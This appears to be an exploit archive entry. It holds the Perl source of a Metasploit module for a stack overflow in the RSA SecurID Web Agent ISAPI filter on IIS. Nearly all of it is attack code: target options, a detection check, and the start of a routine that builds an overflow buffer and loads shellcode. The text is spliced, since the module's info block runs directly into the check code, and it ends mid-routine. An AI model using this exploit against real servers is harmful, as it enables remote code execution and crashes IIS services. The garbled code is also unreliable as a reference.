This Metasploit module exploits a stack overflow in the SecurID Web Agent for IIS.
The SA Web Agent ISAPI filter runs in-process with inetinfo.exe, any attempt to exploit this flaw will result in the termination and potential restart of the IIS service
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::rsa_iiswebagent_redirect;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'IIS RSA WebAgent Redirect Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
'URL' => [1, 'DATA', 'The path to the DLL', '/WebID/IISWebAgentIF.dll'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the SecurID Web Agent for IIS.
This ISAPI filter runs in-process with inetinfo.exe, any attempt to
exploit this flaw will result in the termination and potential restart
of the IIS service.
}),
'Refs' =>
[
# Anyone got a patch/advisory/solution URL?
],
if ($r =~ /RSA Web Access Authentication/)
{
$self->PrintLine("[*] Found IISWebAgentIF.dll ;)");
return $self->CheckCode('Detected');
} else {
$self->PrintLine("The IISWebAgentIF.dll ISAPI does not appear to be installed");
return $self->CheckCode('Safe');
}
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[ $target_idx ];
$self->PrintLine("[*] Attempting to exploit target ".$target->[0]);
my $pattern = Pex::Text::AlphaNumText(8192);
# Just don't ask.
$pattern =~ s/\d|Z/A/ig;